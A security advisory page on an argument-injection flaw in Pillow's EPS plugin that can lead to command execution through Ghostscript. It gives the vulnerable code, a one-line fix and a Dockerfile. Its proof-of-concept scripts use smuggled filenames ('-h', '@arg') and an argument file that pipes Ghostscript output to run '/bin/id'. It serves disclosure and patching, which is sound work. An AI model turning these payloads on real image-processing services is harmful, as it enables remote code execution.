
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 2.6.0, < 13.0.0
Patched in 13.0.0
Details
PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
poc-rce.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't call `id`")
arg
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.
Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).
Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)
This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.
Chanu Kang (from CysecLab at KAIST) @HLe4s
EPSS, exploit probability
Low0.43%
estimated chance of real-world exploitation in the next 30 days, higher than 36.3% of every CVE FIRST.org scores
Refreshed 10/21/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.